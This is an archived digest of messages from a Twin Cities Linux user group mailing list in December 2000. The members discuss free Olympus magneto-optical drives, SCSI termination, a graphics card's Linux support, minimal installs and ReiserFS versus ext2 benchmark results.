MO Drive References: <20001212091311.A720@baker.space.umn.edu> Message-ID: <3A37520B.6DE9D1E9@tcfreenet.org> Jim Crumley wrote: > > Has everyone who signed up to get a MO drive gotten one? > How were they shipped? Well, mine came inside an OEM-whiteboxish box, which was inside a larger shipping container that was as deep as the whitebox but taller and wider, with no padding at all. So it was just kinda sliding around inside as I picked it up off the doorstep. Ish. But it seems to have survived. Not sure who shipped it. Its not obviously UPS or US Mail, I wasn't around when the truck came. Only useful thing I can find on it despite all the shipping labels slapped all over it is "Carrier: RPS". Anyone know who they are offhand? Bet I go "duh"... > I still haven't gotten mine and I was gone a couple > of days last week at the same time people started > writing to the list that they had gotten their MO > drives. I worried that someone might have grabbed > it out of the mail. Well, give it a week, then worry... From lerwick at tcfreenet.org Wed Dec 13 04:46:33 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] RH Install: To /boot or Not to /boot? References: <20001211233233.17292.qmail@ww181.netaddress.usa.net> Message-ID: <3A375389.4F1CDD44@tcfreenet.org> > I have a copy of Running Linux but it does not really discuss pros and cons of > creating a /boot partition versus just most stuff in /. Well, the only real reason this was ever done is because of 1024 cylinder weirdness. But thats not a problem on new systems. Until something similar pops up. Bleh. The only other reason to do it is because lilo does weird things trying to boot off a reiserfs partition. I've been lead to believe some people have gotten it working, but I can't get it to work right. It just skips the prompt and goes straight to booting the kernel, without handing it any args... But then a smarter bootloader like GRUB is the 'right' way to fix it... From lerwick at tcfreenet.org Wed Dec 13 05:10:52 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] WANG shirt References: <0012111442330F.00255@Billbob_Linux> <0012111455290H.00255@Billbob_Linux> Message-ID: <3A37593C.2DF331B1@tcfreenet.org> > I was thinking just a simple 'WANG' in bold white or yellow on a maroon > t-shirt; any other suggestions? http://www.game-skins.com/Merchant2/merchant.mv?Screen=PROD&Store_Code=G&Product_Code=gspa001&Category_Code= http://www.penny-arcade.com/view.php3?date=2000-10-11&res=l Got Wang? From lerwick at tcfreenet.org Wed Dec 13 05:49:35 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] next installfest--<200mb laptop References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> <3A350B2D.E088DF5@mninter.net> <20001211110733.C1962@socrates.sistina.com> Message-ID: <3A37624F.C6C263F7@tcfreenet.org> Ben Lutgens wrote: > > On Mon, Dec 11, 2000 at 11:13:17AM -0600, fjorn wrote: > > > >While I was digging through linuxdocs.org, ran across this for you: > > > O.k. all you smart guys, I am aware that it can be done, but common sense will > tell you that if you want to be comfortable you need at least a Gig. just try > to install under 200 MB and see how fast you use it up. Well, I have a DEC Multia running on a 300mb drive running debian with a minimal development setup and no X. cal@mp3pig:/mnt/disk/mp3s$ df Filesystem 1k-blocks Used Available Use% Mounted on /dev/sda4 308407 220369 72123 76% / /dev/sdb 610876 215446 364396 38% /mnt/disk Note that Alphas tend to have binaries nearly twice the size of x86. :P And sdb is my MO drive very slowly filling with mp3s. Mwahaha. Too bad my crappy 10mbit network is far slower than the drive... Hmmm. Dunno about all these warnings about not bumping the drive when its spinning. I want to use it in my car... ;) And I have a laptop running slackware 7.1 on umsdos without X or devel taking just under 90mb IIRC. Too lazy to start it up and get a df... Basically, you have to choose between devel or X, or neither. With slack you can just barely squeeze the both of them on, and have a minimal Xterminal or something. But a machine thats going to have a 200mb HD on it is usually too painful to compile stuff on, (I have far faster machines to compile stuff on. Well, except for an Alpha with more RAM. Bleh...) and is probably too painful to run X on either. Heh... From andy at theasis.com Wed Dec 13 07:38:48 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Need PCMCIA SCSI recommendation. In-Reply-To: <3A37624F.C6C263F7@tcfreenet.org> Message-ID: This nifty new Olympus TurboMO drive has pushed me past the threshold, and I want to buy a PCMCIA SCSI card for my laptop. Any recommendations, or good/bad experiences? Thanks, Andy From foeclan at winternet.com Wed Dec 13 08:05:56 2000 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <3A37520B.6DE9D1E9@tcfreenet.org> Message-ID: RPS = Roadway Package Systems. Michael Vieths Foeclan@Winternet.Com On Wed, 13 Dec 2000, Callum Lerwick wrote: > Jim Crumley wrote: > > > > Has everyone who signed up to get a MO drive gotten one? > > How were they shipped? > > Not sure who shipped it. Its not obviously UPS or US Mail, I wasn't > around when the truck came. Only useful thing I can find on it despite > all the shipping labels slapped all over it is "Carrier: RPS". Anyone > know who they are offhand? Bet I go "duh"... > From wilson at visi.com Wed Dec 13 08:13:56 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: On Wed, 13 Dec 2000, Michael Vieths wrote: > RPS = Roadway Package Systems. I'm not 100% sure, but I believe they're owned by FedEx. Sort of their answer to UPS. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From tim at tneu.visi.com Wed Dec 13 02:38:39 2000 From: tim at tneu.visi.com (tim) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] REAL Verbatim drive Q (: In-Reply-To: <3A36E23D.710C9D70@ringworld.org> Message-ID: Now... Someone's gotta figure out how to get an entire linux distribution to install and boot from one of these... (yeah, I know there's no good reason anyone would want to do that... ) Well, maybe if you wanted to run various operating systems without dual-booting... And, if you only wanted to run them in 640MB. But the hack value would be good. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ Message-ID: On Tue, 12 Dec 2000, Scott Dier wrote: At ~$20/gig its quite a ways off from being a good deal at the moment. When HD's are $3-4/gig its hard to not sport for one of them first. Get the MO discs down to a couple bucks each and it will be a good deal. Of course, if a particular manufacturer were to give me a free drive I'd probably buy the media anyway, but not if i have to drop 3+ bills on a drive. Ouch. Bleeding edge... > * Austad, Jay [001212 15:06]: > > I think they'll be around $400 when they are released. They are 640MB > > I see some on buy.com for 300ish i thought... > > verbatim's site is around $30 each, but buy.com has TDK media for $11.27 > > Yeah. > > Big upsides about MO: A) its durable, 50 year shelf life supposedly. > > B) 10million R/W cycles. Eat that CDRW. > > From jethro at freakzilla.com Wed Dec 13 09:13:03 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] REAL Verbatim drive Q (: In-Reply-To: Message-ID: Hi, On Wed, 13 Dec 2000, tim wrote: > Someone's gotta figure out how to get an entire linux distribution to > install and boot from one of these... > > (yeah, I know there's no good reason anyone would want to do that... ) Actually, I think that is specifically mentioned in their questionaire or something. I was planning on putting QNX on it (: -Yaron -- From natecars at real-time.com Wed Dec 13 09:42:54 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Need PCMCIA SCSI recommendation. In-Reply-To: Message-ID: On Wed, 13 Dec 2000 andy@theasis.com wrote: > This nifty new Olympus TurboMO drive has pushed me past the threshold, and > I want to buy a PCMCIA SCSI card for my laptop. > > Any recommendations, or good/bad experiences? cheap usb card: http://www.microtechint.com/qs-usbscsi.html never used a pcmcia scsi card. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Wed Dec 13 09:43:58 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: On Wed, 13 Dec 2000, Michael Vieths wrote: > RPS = Roadway Package Systems. Are they the ones that are now called 'Fedex Ground'? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From andy at theasis.com Wed Dec 13 03:48:07 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim drive -- formatted size survey In-Reply-To: <20001212224858.H548@ringworld.org> Message-ID: > /dev/scsi/host0/bus0/target4/lun0/disc > 620680 131428 489252 22% /mnt/mo Interesting. Mine is: /dev/sdd1 610700 18 579656 1% /mnt/mo What are other folks getting? Host: scsi0 Channel: 00 Id: 06 Lun: 00 Vendor: OLYMPUS Model: MOS364 Rev: 1.02 Type: Optical Device ANSI SCSI revision: 02 Andy From natecars at real-time.com Wed Dec 13 09:46:16 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: On Wed, 13 Dec 2000, Jason DeStefano wrote: > At ~$20/gig its quite a ways off from being a good deal at > the moment. When HD's are $3-4/gig its hard to not sport > for one of them first. Get the MO discs down to a couple > bucks each and it will be a good deal. Of course, if a particular > manufacturer were to give me a free drive I'd probably buy the > media anyway, but not if i have to drop 3+ bills on a drive. Ouch. > > Bleeding edge... Ah, but hard drives are not easily interchangable... MO disks are. Just think how easily the 20 of us with free drives can swap files now. Well, the ones of us without fast internet connections, at least.. ok, so maybe.. 2 of the poor souls without DSL who got a MO drive? :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Wed Dec 13 09:47:09 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] REAL Verbatim drive Q (: In-Reply-To: Message-ID: On Wed, 13 Dec 2000, Yaron wrote: > Actually, I think that is specifically mentioned in their questionaire or > something. > > I was planning on putting QNX on it (: Yeah, it is. I'm thinking of installing Windoze on there so I can reboot this box and see how it does on games.. hehe. (Of course, windows isn't worth the space on either of the U2W drives..) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Wed Dec 13 09:50:24 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim drive -- formatted size survey In-Reply-To: Message-ID: On Wed, 13 Dec 2000 andy@theasis.com wrote: > Interesting. Mine is: > > /dev/sdd1 610700 18 579656 1% /mnt/mo > > What are other folks getting? > > Host: scsi0 Channel: 00 Id: 06 Lun: 00 > Vendor: OLYMPUS Model: MOS364 Rev: 1.02 > Type: Optical Device ANSI SCSI revision: 02 /dev/sdc1 610764 25692 554048 4% /mnt/mo Host: scsi1 Channel: 00 Id: 04 Lun: 00 Vendor: OLYMPUS Model: MOS364 Rev: 1.02 Type: Optical Device ANSI SCSI revision: 02 This was with default mkfs.ext2.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From cf352197 at oak.cats.ohiou.edu Wed Dec 13 09:52:40 2000 From: cf352197 at oak.cats.ohiou.edu (Charles Fulton) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Need PCMCIA SCSI recommendation. References: Message-ID: <3A379B48.5056DD10@oak.cats.ohiou.edu> Hey, that's neat. It says they supports MacOS and Win98... how well does it work in Linux? I've never tried setting up a USB storage device. Is performance acceptable? Charlie Nate Carlson wrote: > On Wed, 13 Dec 2000 andy@theasis.com wrote: > > This nifty new Olympus TurboMO drive has pushed me past the threshold, and > > I want to buy a PCMCIA SCSI card for my laptop. > > > > Any recommendations, or good/bad experiences? > > cheap usb card: > http://www.microtechint.com/qs-usbscsi.html > > never used a pcmcia scsi card. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From BTimm at Interelate.com Wed Dec 13 09:57:08 2000 From: BTimm at Interelate.com (Brad Timm) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Need PCMCIA SCSI recommendation. Message-ID: <394E263D7458ED4F91DA2A3066B8C18DB0A6D1@MSP-MAIL01.IR> We tried one of these for Win 2000 with the beta drivers and 98.. Flakey but if they improved the drivers ( or someone developed them on a platform that is not bug riddled first) It is a neat idea .. Brad Timm -----Original Message----- From: Charles Fulton [mailto:cf352197@oak.cats.ohiou.edu] Sent: Wednesday, December 13, 2000 9:53 AM To: tclug-list@lists.real-time.com Subject: Re: [TCLUG] Need PCMCIA SCSI recommendation. Hey, that's neat. It says they supports MacOS and Win98... how well does it work in Linux? I've never tried setting up a USB storage device. Is performance acceptable? Charlie Nate Carlson wrote: > On Wed, 13 Dec 2000 andy@theasis.com wrote: > > This nifty new Olympus TurboMO drive has pushed me past the threshold, and > > I want to buy a PCMCIA SCSI card for my laptop. > > > > Any recommendations, or good/bad experiences? > > cheap usb card: > http://www.microtechint.com/qs-usbscsi.html > > never used a pcmcia scsi card. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From mend0070 at umn.edu Wed Dec 13 09:56:45 2000 From: mend0070 at umn.edu (Philip C Mendelsohn) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim MO Drive Message-ID: <200012131556.JAA24477@www5.software.umn.edu> On 12 Dec 2000, Dave Sherohman wrote: > On Tue, Dec 12, 2000 at 09:13:12AM -0600, Jim Crumley wrote: > > I still haven't gotten mine and I was gone a couple > > of days last week at the same time people started > > writing to the list that they had gotten their MO > > drives. I worried that someone might have grabbed > > it out of the mail. > > If it makes you feel any better, I haven't seen mine yet either. Mine showed up yesterday, 12-DEC, via FedEx. Don't give up hope, kids. Cheers, Phil Mendelsohn From jethro at freakzilla.com Wed Dec 13 10:10:13 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:43 2005 Subject: [TCLUG] Verbatim drive -- formatted size survey In-Reply-To: Message-ID: Hi, On Wed, 13 Dec 2000 andy@theasis.com wrote: > > /dev/scsi/host0/bus0/target4/lun0/disc > > 620680 131428 489252 22% /mnt/mo > /dev/sdd1 610700 18 579656 1% /mnt/mo /dev/sdb 610876 602762 0 100% /mnt Weird... -Yaron -- From b.layer at vikingelectronics.com Wed Dec 13 10:17:15 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] Viper 770 16mb In-Reply-To: References: Message-ID: <00121310171504.00217@Billbob_Linux> Anyone have experience with the Diamod Viper 770 16MB under Linux? This card uses the Nvidia TNT2 chipset (The full chip - not the M64 version IIRC). Will I need to use XF76 4.0 for it? I can buy one used for about $45 or so.. sound fair? -- Bill Layer Sales Technician From blutgens at sistina.com Wed Dec 13 10:18:19 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] Verbatim drive -- formatted size survey In-Reply-To: ; from jethro@freakzilla.com on Wed, Dec 13, 2000 at 10:10:13AM -0600 References: Message-ID: <20001213101818.D410@socrates.sistina.com> On Wed, Dec 13, 2000 at 10:10:13AM -0600, Yaron wrote: >> > /dev/scsi/host0/bus0/target4/lun0/disc >> > 620680 131428 489252 22% /mnt/mo >> /dev/sdd1 610700 18 579656 1% /mnt/mo > > /dev/sdb 610876 602762 0 100% /mnt >Weird... > Not really. the proc information is raw block count. And the info you get from df is filesystem space. the fs information takes up some space on the disk. At least I think. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001213/573a52d3/attachment.pgp From natecars at real-time.com Wed Dec 13 10:21:56 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] Need PCMCIA SCSI recommendation. In-Reply-To: <3A379B48.5056DD10@oak.cats.ohiou.edu> Message-ID: On Wed, 13 Dec 2000, Charles Fulton wrote: > Hey, that's neat. It says they supports MacOS and Win98... how well does it > work in Linux? I've never tried setting up a USB storage device. Is > performance acceptable? According to what people on the usb devel mailing list are saying, it works great. From natecars at real-time.com Wed Dec 13 10:23:01 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] Viper 770 16mb In-Reply-To: <00121310171504.00217@Billbob_Linux> Message-ID: On Wed, 13 Dec 2000, Bill Layer wrote: > Anyone have experience with the Diamod Viper 770 16MB under Linux? This card > uses the Nvidia TNT2 chipset (The full chip - not the M64 version IIRC). Will > I need to use XF76 4.0 for it? > > I can buy one used for about $45 or so.. sound fair? Yup. Works great. XFree86 3.3.6 supports the card.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From veldy at veldy.net Wed Dec 13 10:24:45 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] Viper 770 16mb References: <00121310171504.00217@Billbob_Linux> Message-ID: <010c01c06521$350c5260$9c29680a@tgt.com> FYI - I don't believe that there are any 16MB Diamond Viper 770 that are not M64 - in other words - it is almost certainly a M64 - it probably came from a factory built computer (i.e. from Gateway). I could be wrong, but I don't believe so. But to answer your question, XF86 3.3.6 or XF86 4.0.1 should work just fine for you. The latter will support 3D accelleration better with the patches from NVidia's sight. The latter is also known to have SUID security problems. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Bill Layer" To: Sent: Wednesday, December 13, 2000 10:17 AM Subject: [TCLUG] Viper 770 16mb > Anyone have experience with the Diamod Viper 770 16MB under Linux? This card > uses the Nvidia TNT2 chipset (The full chip - not the M64 version IIRC). Will > I need to use XF76 4.0 for it? > > I can buy one used for about $45 or so.. sound fair? > > -- > Bill Layer > Sales Technician > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From esper at sherohman.org Wed Dec 13 10:29:48 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <3A37520B.6DE9D1E9@tcfreenet.org>; from lerwick@tcfreenet.org on Wed, Dec 13, 2000 at 04:40:11AM -0600 References: <20001212091311.A720@baker.space.umn.edu> <3A37520B.6DE9D1E9@tcfreenet.org> Message-ID: <20001213102948.A22755@sherohman.org> On Wed, Dec 13, 2000 at 04:40:11AM -0600, Callum Lerwick wrote: > Not sure who shipped it. Its not obviously UPS or US Mail, I wasn't > around when the truck came. Only useful thing I can find on it despite > all the shipping labels slapped all over it is "Carrier: RPS". Anyone > know who they are offhand? Bet I go "duh"... Mine tried to get here yesterday, but I wasn't home and it wanted a signature, so it's coming back today. The slip that was left says "FedEx Ground" on it. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From esper at sherohman.org Wed Dec 13 10:36:18 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] REAL Verbatim drive Q (: In-Reply-To: ; from tim@tneu.visi.com on Wed, Dec 13, 2000 at 02:38:39AM -0600 References: <3A36E23D.710C9D70@ringworld.org> Message-ID: <20001213103618.B22755@sherohman.org> On Wed, Dec 13, 2000 at 02:38:39AM -0600, tim wrote: > Someone's gotta figure out how to get an entire linux distribution to > install and boot from one of these... > > (yeah, I know there's no good reason anyone would want to do that... ) Building a usable general-purpose installation for burning onto a CD for a NIC or other HDD-less box. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From cschumann at twp-llc.com Wed Dec 13 11:00:05 2000 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] MO Drive hell References: <200012131551.eBDFp7n29044@sprite.real-time.com> Message-ID: <001501c06526$247da2f0$1000a8c0@cschumann> I got my MO drive yesterday and hooked it up this morning. (RPS is indeed FedEx Ground.) Anyway, here's my setup: A - Adaptec 2100S SCSI RAID controller 0 - IBM 18.2GB, 4MB, Ultra160 B - Adaptec AHA-2930 SCSI controller 2 - Olympus MO drive (external) 3 - Plextor 12/20 CD-ROM (internal) 4 - Plextor 8/2/20 CD-RW (internal, terminated) 6 - Umax 610S Scanner (external, terminated) With the MO drive hooked up, W2K finish booting. Win98 won't see any device on the 2930 controller. Win98's device manager says there is a problem with the controller device. The 2930's setup code gives me timeouts when I try to run the disk utilities (ctrl-A). During startup, the 2930 *does* list the attached devices correctly. It doesn't look like I will be able to install Linux with the drive attached, and I may not be able to use my computer at all even after installing Linux. Any tips (except "install Debian") would be greatly appreciated before I try Olympus support. Thanks, Chris From jon.erickson at neicoltech.org Wed Dec 13 11:02:24 2000 From: jon.erickson at neicoltech.org (Jonathan Erickson) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: <001501c06526$77368c00$a102a8c0@neicoltech.org> > Ah, but hard drives are not easily interchangable... MO disks are. Just > think how easily the 20 of us with free drives can swap files now. Well, > the ones of us without fast internet connections, at least.. ok, so > maybe.. 2 of the poor souls without DSL who got a MO drive? :) > How about the poor soul without Cable\DSL and no MO drive :( Just heard that cable is now available in my area (as of last week) so that's a relief. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Jon Erickson | | Application Developer | | NEI College of Technology | | (763)782.7342 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From zibby at ringworld.org Wed Dec 13 11:25:17 2000 From: zibby at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] MO Drive hell In-Reply-To: <001501c06526$247da2f0$1000a8c0@cschumann> Message-ID: Did you remember to check your termination? SCSI is wierd like that...requires you to set theings like SCSI IDs and termination. :) It took me a loooong time to debug my scsi chain. Currently I have two scsi hard drives on one chain. My CDRom, CD Burner, External MO Drive, and External SCSI zip are on another chain (using an internal to external scsi cable). Both the zip drive and the MO trive have termination enabled. If only the Zip drive is terminated, stuff kinda works but I can't burn a CD. Probally has to do with the fact that the zip drive is 25 pin and is connected by a 50 to 25 pin cable. Darn Iomega. :) Windows and Linux will deal with smart SCSI cards that can terminate scsi chains automatically, to a point anyway. With SCSI, just expect to fiddle a bit before it works. | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | This message is protected by double ROT13 | | encryption. Any attempt to circumvent the | | digital protection is banned by the DMCA. | From zibby at ringworld.org Wed Dec 13 11:30:32 2000 From: zibby at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:13:44 2005 Subject: [TCLUG] MO Drive hell In-Reply-To: <001501c06526$247da2f0$1000a8c0@cschumann> Message-ID: 2 - Olympus MO drive (external) 3 - Plextor 12/20 CD-ROM (internal) 4 - Plextor 8/2/20 CD-RW (internal, terminated) 6 - Umax 610S Scanner (external, terminated) After a quick reread, I'm going to pop off another suggestion. This is asuming the above devices are on the same chain. Don't terminate the internal plextors (will be a pain for lan parties...) Terminate the Olympus, hook the scanner up to the Olympus and terminate it as well. See what gets detected. Adjust termination from there until you get a working chain. I might try terminating my internal cd drives so I can still use them without the external devices...maybe it'll work...maybe not. Termination cares about where they physically are on the chain not the scsi ID. | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | This message is protected by double ROT13 | | encryption. Any attempt to circumvent the | | digital protection is banned by the DMCA. | From jasonj at innominatus.com Wed Dec 13 12:01:21 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] Viper 770 16mb References: <00121310171504.00217@Billbob_Linux> <010c01c06521$350c5260$9c29680a@tgt.com> Message-ID: <3A37B971.117C9667@innominatus.com> Diamond used the nVidia TNT2 chipset to make the Viper 770. It came in 3 models. The 16 and the 32 meg and the 32 ultra (just faster memory and clocking). I have purchased several of the 16 and non-ultra 32's. I believe Diamond was purchased by S3 before the M64 was release so they never got a chance to make any cards with that nVidia chip set. I thought the M64 came out after the TNT2 as the lower cost version from the TNT family. The only difference in the cards is the memroy, same TNT2 chipset. Diamond used to be my favorite video card manufacturer until purchased by S3. I have had different models from the large stealth series, firegl 1000 and firegl 1000 pro, and viper 330 (riva 128) and several viper 770's (skipped over the viper 550). "Thomas T. Veldhouse" wrote: > FYI - I don't believe that there are any 16MB Diamond Viper 770 that are not > M64 - in other words - it is almost certainly a M64 - it probably came from > a factory built computer (i.e. from Gateway). I could be wrong, but I don't > believe so. > > But to answer your question, XF86 3.3.6 or XF86 4.0.1 should work just fine > for you. The latter will support 3D accelleration better with the patches > from NVidia's sight. The latter is also known to have SUID security > problems. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Bill Layer" > To: > Sent: Wednesday, December 13, 2000 10:17 AM > Subject: [TCLUG] Viper 770 16mb > > > Anyone have experience with the Diamod Viper 770 16MB under Linux? This > card > > uses the Nvidia TNT2 chipset (The full chip - not the M64 version IIRC). > Will > > I need to use XF76 4.0 for it? > > > > I can buy one used for about $45 or so.. sound fair? > > > > -- > > Bill Layer > > Sales Technician > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From dieman at ringworld.org Wed Dec 13 11:56:41 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:45 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: ; from destef@destef.com on Wed, Dec 13, 2000 at 07:08:39AM -0800 References: <20001212224656.G548@ringworld.org> Message-ID: <20001213115641.C10382@ringworld.org> * Jason DeStefano [001213 09:11]: > At ~$20/gig its quite a ways off from being a good deal at HD's dont have a 50 year shelf life. This is decent archive material, and they transport with massive G forces with no damage. You only gotta worry when you get close to a magnetic feild and the weather is 300 degrees F. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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I didn't even bother to try Reiser because the version of mkreiserfs > that I have won't let me adjust the block size, so I gave up since the > manual preaches about 2048B blocksize. > > I just reformatted my disk with reiser and I'm running bonnie on it to > compare it to ext2. > > ReiserFS: > > -------Sequential Output-------- ---Sequential Input-- > --Random-- > -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- > --Seeks--- > Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec > %CPU > 100 6205 96.5 43356 93.6 453 1.1 877 12.5 28765 18.3 17443.3 > 95.9 > 100 1744 26.7 47848 96.3 609 1.3 6820 96.2 91798 89.6 61.3 > 0.3 > 100 6256 96.4 48244 95.6 432 0.8 6866 96.1 114530 94.0 72.2 > 0.4 > 100 6114 95.5 47270 94.6 437 0.9 6861 96.3 117158 92.7 72.7 > 0.4 > > > ext2: > > -------Sequential Output-------- ---Sequential Input-- > --Random-- > -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- > --Seeks--- > Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec > %CPU > 100 6272 92.6 88213 91.3 47749 92.8 6820 96.2 154711 92.2 119.1 > 0.7 > 100 6597 96.3 91556 94.8 50079 95.9 6854 96.5 160844 97.4 182.5 > 1.0 > 100 6484 95.2 93161 96.4 49358 93.0 6872 96.5 154766 92.2 149.8 > 0.9 > 100 6598 96.5 93746 95.2 51057 96.2 6798 96.0 156069 94.5 124.9 > 0.7 > > > > Looks like ext2 whooped Reiser. I didn't add any special options to reiser. > I wonder if the reiserfs was 2048 byte blocks like the ext2 one if it would > make a difference. > > Jay > > > -----Original Message----- > > From: Scott Dier [mailto:dieman@ringworld.org] > > Sent: 